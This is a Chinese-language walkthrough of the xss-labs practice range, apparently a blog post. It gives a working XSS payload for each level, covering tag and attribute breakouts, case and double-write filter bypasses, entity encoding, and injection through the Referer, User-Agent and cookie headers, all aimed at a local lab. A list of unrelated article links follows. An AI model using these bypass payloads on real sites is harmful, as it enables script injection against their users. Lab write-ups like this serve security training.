XSS靶场通关详解

前言

这里作者采用phpstudy部署的xss-lab靶场,配置如下:

第一关

进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss

成功弹窗!

payload:

复制代码
<script>alert(1)</script>

第二关

可以发现第二关是表单的传参点

尝试失败,意识到第二关开启了拦截

查看网站源码发现被转义

查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合

此时我们可以构造payload闭合input标签

payload:

复制代码
"><script>alert(1)</script>

第三关

使用第二关的payload发现全部被转义

补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码

查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码

所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。

payload:

复制代码
' onclick='alert(1)'

第四关

将第三关的payload打上去,查看源码发现前面多了一个双引号

尝试使用"进行闭合,直接弹窗

payload:

复制代码
"' onclick='alert(1)'

第五关

使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签

使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签

点击此处即可弹窗

payload:

复制代码
"'> <a href='javascript:alert(1)'>

第六关

将第五关的payload输入发现href增加了_

可以尝试进行大写绕过过滤

payload:

复制代码
"'> <a HREF='javascript:alert(1)'>

第七关

输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过

payload:

复制代码
"'> <a hrehreff='javascscriptript:alert(1)'>

第八关

输入第七关的payload,发现将我们输入的内容作为了a标签的href值

尝试javascript:alert(1),发现被编码了,尝试使用

编码后成功弹窗

payload:

复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接

此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗

payload:

复制代码
javascript:alert(1)//http://www.baidu.com

将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

第十关

尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框

尝试将值传给这三个隐藏的标签,执行以下url

复制代码
http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

发现第三个标签的值被修改了

此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来

payload:

复制代码
http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'

第十一关

尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss

返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer

payload:

复制代码
'" type='text' onclick='alert(1)'

第十二关

跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss

payload:

复制代码
'" type='text' onclick='alert(1)'

第十三关

跟11和12关类似,这里换成了cookie

payload:

复制代码
user='" type='text' onclick='alert(1)'

第十四关

本关出错了,直接打15关即可

第十五关

本关需要用到一个新的属性

AngularJS ng-include 指令详解-CSDN博客

可以尝试让其包含第一关,这样第一关的xss可以直接用在这里

onmouseover事件是鼠标移动到元素上会触发弹窗

payload:

复制代码
http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'

第十六关

发现本关将空格进行了编码

尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可

payload:

复制代码
<img%0asrc=1%0aonerror=alert(1)>

第十七关

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)

思路:闭合前面的src标签然后添加事件属性

payload:

复制代码
' onmouseover=alert(1)

第十八关

跟上一关一样

第十九关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

第二十关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

相关推荐
andxe8 小时前
安科士 AndXe 技术博客:400G QSFP112 SR4 光模块|AI 算力与超算短距互联最优方案
网络·人工智能·光模块·光通信
shiyi.十一9 小时前
第2章:应用层 — 知识要点与架构
网络·计算机网络·架构
吳所畏惧9 小时前
宝塔面板Redis密码修改指南:SSH命令修改 vs 面板UI界面修改,哪个更靠谱?
运维·服务器·数据库·redis·缓存·ssh
DFT计算杂谈9 小时前
无 Root 权限在 Tesla K80 零门槛部署 DeepSeek 大模型
linux·服务器·网络·数据库·机器学习
水境传感 李兆栋9 小时前
GNSS 位移监测站 :毫米级感知,筑牢安全监测防线
网络
维天说10 小时前
CLI-Switch 2026年3月版历史设计:Hook、TTY 隔离与 JSON 状态
java·服务器·json
Zhang~Ling10 小时前
从 fopen 到 struct file:从零开始拆解 Linux 文件 I/O
linux·运维·服务器
爱写代码的阿森11 小时前
鸿蒙三方库 | harmony-utils之PreferencesUtil首选项数据监听详解
服务器·华为·harmonyos·鸿蒙·huawei
爱写代码的森11 小时前
蒙三方库 | harmony-utils之FileUtil文件重命名与属性查询详解
linux·运维·服务器·华为·harmonyos·鸿蒙·huawei
中微极客11 小时前
2026主流AI Agent框架技术选型与性能对比
运维·网络·人工智能